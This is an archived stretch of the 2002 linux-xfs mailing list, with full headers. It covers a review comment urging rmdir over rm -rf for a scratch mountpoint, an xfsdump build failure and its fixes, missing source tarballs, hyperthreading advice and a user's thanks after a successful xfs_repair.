if [ -e "$SCRATCH_SNAP_MNT" ]; then rm -rf "$SCRATCH_SNAP_MNT"; fi ummm is $SCRATCH_SNAP_MNT normally an empty mountpoint directory? if so please use rmdir and test its exit status (abort if rmdir fails) don't use rm -rf since you can't be certain there isn't something mounted there, or something stored there (shouldn't be but do you really want to chance it? rm -rf'ing data without warning is a good way to induce homicidal behavior) i recommend: if [ -e "$SCRATCH_SNAP_MNT" ]; then rmdir "$SCRATCH_SNAP_MNT" || exit 1 fi -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1wdngACgkQJKx7GixEevxoBQCfahqAivVM3WJXGCKFdg/w1HE1 MQAAniwfD9n3fbY6G7PgTLe7/jp+L0NU =qMMo -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Sat Aug 31 06:00:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 06:00:58 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VD0stG007868 for ; Sat, 31 Aug 2002 06:00:54 -0700 Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.177]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id GAA06626 for ; Sat, 31 Aug 2002 06:04:37 -0700 (PDT) mail_from (mirko@tasler.net) From: mirko@tasler.net Received: from [195.20.224.197] (helo=mxbulk01.kundenserver.de) by moutng3.kundenserver.de with esmtp (Exim 3.35 #2) id 17l7ll-0002cU-00 for linux-xfs@oss.sgi.com; Sat, 31 Aug 2002 14:54:29 +0200 Received: from [172.23.4.146] (helo=config19.schlund.de) by mxbulk01.kundenserver.de with esmtp (Exim 3.22 #2) id 17l7lh-00052C-00 for linux-xfs@oss.sgi.com; Sat, 31 Aug 2002 14:54:25 +0200 Received: from www-data by config19.schlund.de with local (Exim 3.35 #1 (Debian)) id 17l7lh-0003Db-00 for ; Sat, 31 Aug 2002 14:54:25 +0200 To: linux-xfs@oss.sgi.com Subject: [xfsdump] make fails Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Originating-From: 5903112 Received: from 217.199.71.69 by webmail.puretec.de via HTTP X-Binford: 6100 (more power) Message-Id: Date: Sat, 31 Aug 2002 14:54:25 +0200 X-archive-position: 187 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mirko@tasler.net Precedence: bulk X-list: linux-xfs hi folks, when i try to compile xfsdump (ftp://oss.sgi.com/projects/xfs/download/latest/cmd_tars/xfsdump-2.0.1.src.tar.gz) on my lfs (i386), make fails with /usr/bin/libtool --mode=link gcc -o xfs_fsr xfs_fsr.o /usr/lib/libhandle.la /usr/lib/libattr.la gcc -o xfs_fsr xfs_fsr.o /lib/libhandle.so /lib/libattr.so gcc: /lib/libattr.so: No such file or directory make[1]2: *** [xfs_fsr] Error 1 make: *** [default] Error 2 the other packages (xfsprogs, dmapi, attr) are already installed, and the file libattr.so exists (/lib/libattr.so). any hints? Mirko From owner-linux-xfs@oss.sgi.com Sat Aug 31 09:39:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 09:39:40 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VGdTtG009686 for ; Sat, 31 Aug 2002 09:39:35 -0700 Received: from h24-86-77-34.ed.shawcable.net ([24.86.77.34] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.36 #3) id 17lBLJ-0005U0-00; Sat, 31 Aug 2002 10:43:25 -0600 Message-ID: <3D70F20C.7070301@emergence.com> Date: Sat, 31 Aug 2002 10:42:52 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020830 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mirko@tasler.net CC: linux-xfs@oss.sgi.com Subject: Re: [xfsdump] make fails References: Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 188 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs I assume you're using a newer kernel with LFS, so it would be a good idea to use the newer tarballs for all the utilities: ftp://oss.sgi.com/projects/xfs/download/cmd_tars/ You may need to run ldconfig which updates the dynamic linker run time bindings. -Mike mirko@tasler.net wrote: > gcc -o xfs_fsr xfs_fsr.o /lib/libhandle.so /lib/libattr.so > gcc: /lib/libattr.so: No such file or directory > make[1]2: *** [xfs_fsr] Error 1 > make: *** [default] Error 2 > > the other packages (xfsprogs, dmapi, attr) are already installed, and > the file libattr.so exists (/lib/libattr.so). > any hints? > > Mirko From owner-linux-xfs@oss.sgi.com Sat Aug 31 09:58:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 09:58:24 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VGwLtG010457 for ; Sat, 31 Aug 2002 09:58:21 -0700 Received: from h24-86-77-34.ed.shawcable.net ([24.86.77.34] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.36 #3) id 17lBdZ-0005VK-00 for linux-xfs@oss.sgi.com; Sat, 31 Aug 2002 11:02:18 -0600 Message-ID: <3D70F679.9060304@emergence.com> Date: Sat, 31 Aug 2002 11:01:45 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020830 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: [xfsdump] make fails References: <3D70F20C.7070301@emergence.com> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 189 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs I hate to have to respond to my own post, but what exactly happened to the tarballs in the directory mentioned below? The src.tar.gz tarballs that were in this directory seem to be gone now. In the meantime you can get the sources from: ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/SRPMS/ By running: for i in *.src.rpm; do rpm2cpio $i | cpio -i; done rm *.spec -Mike Michael Best wrote: > I assume you're using a newer kernel with LFS, so it would be a good > idea to use the newer tarballs for all the utilities: > > ftp://oss.sgi.com/projects/xfs/download/cmd_tars/ > > You may need to run ldconfig which updates the dynamic linker run time > bindings. > > -Mike From owner-linux-xfs@oss.sgi.com Sat Aug 31 10:19:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 10:19:54 -0700 (PDT) Received: from chaos.egr.duke.edu (chaos.egr.duke.edu [152.3.195.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VHJmtG011021 for ; Sat, 31 Aug 2002 10:19:48 -0700 Received: from localhost (jlb@localhost) by chaos.egr.duke.edu (8.11.6/8.11.6) with ESMTP id g7VHNPA05208; Sat, 31 Aug 2002 13:23:26 -0400 X-Authentication-Warning: chaos.egr.duke.edu: jlb owned process doing -bs Date: Sat, 31 Aug 2002 13:23:25 -0400 (EDT) From: Joshua Baker-LePain X-X-Sender: jlb@chaos.egr.duke.edu To: Mike cc: "'Eric Sandeen'" , "'Simon Matter'" , Subject: RE: XFS RPM install on Redhat 7.2 In-Reply-To: <000001c250a6$8e79b7d0$967ba8c0@maherxp> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 190 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jlb17@duke.edu Precedence: bulk X-list: linux-xfs On Sat, 31 Aug 2002 at 12:26am, Mike wrote > I am going to install kernel-smp-2.4.9-34SGI_XFS_1.1.i686.rpm and > hopefully I will see 4 CPUs. Some how it supposed to be faster with the > 2 CPUs treated as 4 CPUs (?). That depends very much on the workload. For HPC type stuff (scientific code), HT is actually bad -- the "virtual" CPUs share execution units and contention for these resources slows everything down. For other workloads it can be a gain, but, personally, I just turn it off in the BIOS. -- Joshua Baker-LePain Department of Biomedical Engineering Duke University From owner-linux-xfs@oss.sgi.com Sat Aug 31 10:48:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 10:49:05 -0700 (PDT) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VHmetG011583 for ; Sat, 31 Aug 2002 10:48:42 -0700 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA64671; Sat, 31 Aug 2002 12:52:15 -0500 (CDT) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.35 #1 (Debian)) id 17lCPv-0005lH-00; Sat, 31 Aug 2002 12:52:15 -0500 Date: Sat, 31 Aug 2002 12:52:15 -0500 From: Nathan Straz To: Michael Best Cc: linux-xfs@oss.sgi.com Subject: Re: [xfsdump] make fails Message-ID: <20020831175214.GA22123@sgi.com> Mail-Followup-To: Michael Best , linux-xfs@oss.sgi.com References: <3D70F20C.7070301@emergence.com> <3D70F679.9060304@emergence.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D70F679.9060304@emergence.com> User-Agent: Mutt/1.4i Content-Transfer-Encoding: 8bit X-archive-position: 191 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Sat, Aug 31, 2002 at 11:01:45AM -0600, Michael Best wrote: > I hate to have to respond to my own post, but what exactly happened to > the tarballs in the directory mentioned below? > > The src.tar.gz tarballs that were in this directory seem to be gone now. Whoops. Seems I copied in the binary tarballs instead of the source tarballs when I did the build this past week. I'll get the fixed up right away. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Sat Aug 31 12:45:29 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 12:45:32 -0700 (PDT) Received: from mail02.securities.com ([65.124.162.72]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7VJiltG012860 for ; Sat, 31 Aug 2002 12:45:28 -0700 Received: from mail02.securities.com (localhost [127.0.0.1]) by mail02.securities.com (8.11.6/8.11.6-DELIVERY) with ESMTP id g7VJiGJ14048 for ; Sat, 31 Aug 2002 15:44:16 -0400 Received: from localhost (venevene@localhost) by mail02.securities.com (8.11.6/8.11.6-SMTP) with ESMTP id g7VJiGM14042 for ; Sat, 31 Aug 2002 15:44:16 -0400 Date: Sat, 31 Aug 2002 15:44:16 -0400 (EDT) From: Benito Venegas To: Subject: xfsdump recover succesful Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 192 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: venevene@securities.com Precedence: bulk X-list: linux-xfs Hi team and xfs lovers: Yesterday was some of this days where everything is bad. Nothing was working well, including our SAN (hung in the morning with kernel Oops. Later I will send my comments). After to reboot it, we experienced many problems in one of the files systems (1/4 TB). Working in other issues in paralell, I could start a xfs_repair for about 1 hour (I don't remember well, it was late in the hosting facilities and I was fixing other hw problems). The good of all, everything came back to normal, and xfs_repair did the work without any problem. :) It's good to have problems like this where you know XFS tools will work perfect (for me was perfect last night) Thanks to XFS Team and all beta tester to make a dream came true in our linux world. Have good weekend (here in US is long weekend) Cheers.- Benito (vene)